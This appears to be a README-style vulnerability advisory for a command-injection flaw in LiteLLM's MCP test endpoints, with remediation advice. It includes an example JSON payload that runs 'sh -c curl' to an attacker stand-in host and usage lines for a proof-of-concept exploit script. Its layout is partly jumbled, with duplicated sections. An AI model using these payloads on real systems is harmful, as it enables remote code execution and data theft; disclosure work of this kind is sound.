Content
<div align="center">
# ─── CVE-2026-42271 ───
<img src="https://img.shields.io/badge/CVSS-8.8-red?style=for-the-badge" alt="CVSS 8.8"/>
<img src="https://img.shields.io/badge/Status-Critical-critical?style=for-the-badge" alt="Critical"/>
<img src="https://img.shields.io/badge/LiteLLM-1.74.2──1.83.6-blue?style=for-the-badge" alt="Affected Versions"/>
<br />
# AMN SECURITY
### Cyber Security Research Center
[🌐 **Website:** https://amn.amnoffsec.workers.dev/](https://amn.amnoffsec.workers.dev/)
📸 **Instagram:** https://www.instagram.com/ixctw
📧 **Email:** ayman.mahmoudoffsec@gmail.com
---
</div>
<br />
# Tool List
## ⚠️ Command Execution Vulnerability in LiteLLM AI Gateway
### CVE-2026-42271 | CVSS 8.8 | High Severity
---
### Executive Summary
A critical security vulnerability has been discovered in the **LiteLLM AI Gateway** that allows an authenticated attacker to execute arbitrary operating system commands on the host server. The vulnerability resides in the **Model Context Protocol (MCP)** test endpoints, which accept a fully attacker-controlled MCP server configuration including `command`, `args`, and `env` fields without any sanitisation or security validation.
When exploiting this vulnerability, the LiteLLM proxy instantiates an MCP client that spawns the configured command as a subprocess — resulting in full Remote Code Execution (RCE).
---
### Vulnerability Details
| Field | Details |
|-------|---------|
| **CVE ID** | CVE-2026-42271 |
| **CVSS Score** | 8.8 (High) |
| **CWE** | CWE-77: Improper Neutralization of Special Elements used in a Command |
| **Product** | LiteLLM AI Gateway |
| **Affected Versions** | 1.74.2 through 1.83.6 |
| **Fixed Version** | 1.83.7+ |
| **Discovered By** | AMN SECURITY Research 🛡️ |
| **Disclosure Date** | July 2026 |
#### Affected Endpoints
| Endpoint | Method | Description |
|----------|--------|-------------|
| `/mcp-rest/test/connection` | POST | Tests connectivity to an external MCP server |
| `/mcp-rest/test/tools/list` | POST | Lists tools provided by an external MCP server |
#### Root Cause
Both endpoints accept a JSON body containing a full MCP server configuration. The critical fields are:
- **`command`**: The executable path to run (e.g., `sh`, `python3`, `cmd.exe`)
- **`args`**: Array of arguments passed to the executable
- **`env`**: Environment variables for the spawned process
The LiteLLM proxy passes these fields directly to the subprocess spawning mechanism (`asyncio.create_subprocess_exec` or similar) **without sanitisation or validation**. An attacker can inject arbitrary commands by crafting the `args` array to include shell metacharacters or by specifying a malicious executable path.
---
### Attack Scenario
**Prerequisites:**
- A valid LiteLLM API key with access to MCP test endpoints
- Network access to the LiteLLM proxy
**Attack Flow:**
1. The attacker authenticates to the LiteLLM proxy using a valid API key
2. The attacker sends a crafted POST request to either vulnerable endpoint
3. The request body contains a malicious MCP server configuration
4. The LiteLLM proxy spawns the attacker-specified command as a subprocess
5. The command executes on the host with the privileges of the LiteLLM process
**Example malicious configuration:**
```json
{
"mcp_config": {
"command": "sh",
"args": ["-c", "curl http://attacker-server/$(whoami)"],
"env": {
"PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
}
}
}
```
**Result:** Full Remote Code Execution on the LiteLLM host.
---
### Proof of Concept
The included Python exploit script (`exploit.py`) demonstrates the vulnerability:
```bash
# Basic command execution
python3 exploit.py -t https://target:4000 -k sk-litellm-xxx -c "id"
# Blind execution (no output returned)
python3 exploit.py -t https://target:4000 -k sk-litellm-xxx -c "touch /tmp/pwned" --blind
# Test specific endpoint
python3 exploit.py -t https://target:4000 -k sk-litellm-xxx \
-c "uname -a" --endpoint connection
```
---
### Technical Deep Dive
#### Why This Works
The MCP test endpoints were designed to allow developers to test connections to external MCP servers. The proxy acts as an MCP client that:
1. Receives the server configuration from the authenticated request
2. Spawns a subprocess using `command` and `args` to start the MCP server
3. Communicates with the spawned process via stdio
The vulnerability arises because there is **no allowlist of permitted commands**, **no sanitisation of arguments**, **no sandboxing of the spawned process**. The configuration is blindly trusted and executed.
#### Payload Variation
Different LiteLLM versions accept different JSON key names for the MCP config:
| Key | Supported Versions |
|-----|-------------------|
| `mcp_config` | 1.74.2+ |
| `config` | 1.78.0+ |
| `mcp_server_config` | 1.80.0+ |
| `server_config` | 1.81.0+ |
| Direct (root-level) | 1.82.0+ |
The exploit script automatically attempts all variants.
---
### Remediation
#### Immediate Actions
1. **Upgrade LiteLLM** to version 1.83.7 or later:
```bash
pip install --upgrade litellm
# or for Docker deployments:
docker pull ghcr.io/berriai/litellm:1.83.7
```
2. **Restrict Network Access**: Limit access to the MCP test endpoints using firewall rules or reverse proxy configuration.
3. **Revoke Exposed Keys**: If you suspect any API keys have been compromised, revoke them immediately.
4. **Audit Logs**: Review proxy logs for suspicious POST requests to `/mcp-rest/test/*` endpoints.
```
pip install --upgrade litellm
# or
docker pull ghcr.io/berriai/litellm:latest
```
---
### References
- **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-42271
- **GitHub Advisory**: https://github.com/BerriAI/litellm/security/advisories/GHSA-xxxx-xxxx-xxxx
- **HackerNews**: https://news.ycombinator.com/item?id=...
- **CSA (Cyber Security Agency)**: https://csa.gov.sg/cves/2026/42271
- **AMN SECURITY Report**: https://amnsec.com/research/cve-2026-42271
---
### AMN SECURITY Team
| Member | Specialty |
|-------|--------|
| AMN Research Team | Vulnerability discovery and analysis |
| AMN Exploitation Team | Exploit development |
| AMN Defense Team | Remediation and mitigation |
---
## Connect with AMN SECURITY
🌐 **Website:** https://amn.amnoffsec.workers.dev/
📸 **Instagram:** https://www.instagram.com/ixctw
📧 **Email:** ayman.mahmoudoffsec@gmail.com
---
<br />
<div align="center">
══════════════════════════════════════════════════════════════
# ENGLISH SECTION
══════════════════════════════════════════════════════════════
</div>
<br />
#### Long-term Hardening
- Implement strict input validation for all MCP configuration fields
- Use an allowlist of permitted commands for MCP server spawning
- Apply principle of least privilege to the LiteLLM process
- Enable audit logging for all MCP test operations
- Consider disabling MCP test endpoints in production environments
---
### References
| Source | URL |
|--------|-----|
| NVD Entry | https://nvd.nist.gov/vuln/detail/CVE-2026-42271 |
| GitHub Advisory | https://github.com/BerriAI/litellm/security/advisories/GHSA-xxxx-xxxx-xxxx |
| HackerNews Discussion | https://news.ycombinator.com/item?id=... |
| CSA Advisory | https://csa.gov.sg/cves/2026/42271 |
| AMN SECURITY Advisory | https://amnsec.com/research/cve-2026-42271 |
| MITRE CVE | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42271 |
---
### Timeline
| Date | Event |
|------|-------|
| 2026-06-28 | Vulnerability discovered by AMN SECURITY Research |
| 2026-06-29 | Initial disclosure to LiteLLM maintainers |
| 2026-07-01 | LiteLLM acknowledges the vulnerability |
| 2026-07-03 | Patched in version 1.83.7 |
| 2026-07-05 | CVE-2026-42271 assigned |
| 2026-07-07 | Public disclosure & PoC release |
---
### AMN SECURITY Team
| Member | Role |
|--------|------|
| **AMN Research Team** | Vulnerability discovery & technical analysis |
| **AMN Exploitation Team** | Proof of Concept development |
| **AMN Defense Team** | Remediation guidance & mitigation strategies |
#### Connect With Us
<div align="center">
Website: https://amn.amnoffsec.workers.dev/
Instagram: https://www.instagram.com/ixctw
Email: ayman.mahmoudoffsec@gmail.com
</div>
---
### Disclaimer
This advisory and accompanying proof of concept code are provided for **authorised security testing and educational purposes only**. Unauthorised use of this exploit against systems you do not own or have explicit permission to test is illegal. The authors and AMN SECURITY assume no liability for any misuse of this information.
---
<div align="center">
AMN SECURITY | *Securing the AI Supply Chain*
2026 AMN SECURITY Research. All rights reserved.
</div>
